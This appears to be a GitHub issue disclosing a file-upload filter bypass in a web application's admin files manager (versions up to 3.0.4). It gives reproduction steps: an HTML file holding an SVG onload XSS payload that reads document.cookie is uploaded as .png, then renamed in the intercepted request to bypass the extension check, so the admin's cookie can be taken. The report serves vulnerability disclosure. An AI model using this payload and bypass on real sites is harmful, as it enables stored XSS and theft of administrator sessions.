New issue

Jump to bottom

bypassed extension filter in uploading process different before #461

Open yaoyao6688 opened this issue on Oct 11, 2019 · 0 comments

yaoyao6688 commented on Oct 11, 2019 • edited

Brief of this vulnerability
There are many suffix names such as PHP and HTML in uploading files, but the following methods can bypass file restrictions, upload malicious HTML types and execute arbitrary JS code
Test Environment
php7.0.7+apache
Affect version
<=3.0.4
Payload
1 Visit website http://[address]:[port]/[app_path]/admin/index.php?id=filesmanager with login
2 Save html codes with '.png' extensions. and upload it like below.

```
<html>
    <head>
            <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
        <title>hacker</title>
    </head>
    <body>
     <svg/onload=alert(document.cookie)>
    </body>
</html>
```

3 Click the uploaded file name and Grab the packet and change the suffix name to `xxx"".html` at filename，This circumvents this limitation.
4 move to http://[address]:[port]/[app_path]/public/uploads/[uploaded file]
You can see that you executed HTML and JS code，If you access this file, you can get the administrator's cookie and execute any JS code
the details of these vulnerabilities to see
http://test.lingdong.store/2019/10/12/Bypass-the-HTML-file-suffix-restriction-when-uploading-files/

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant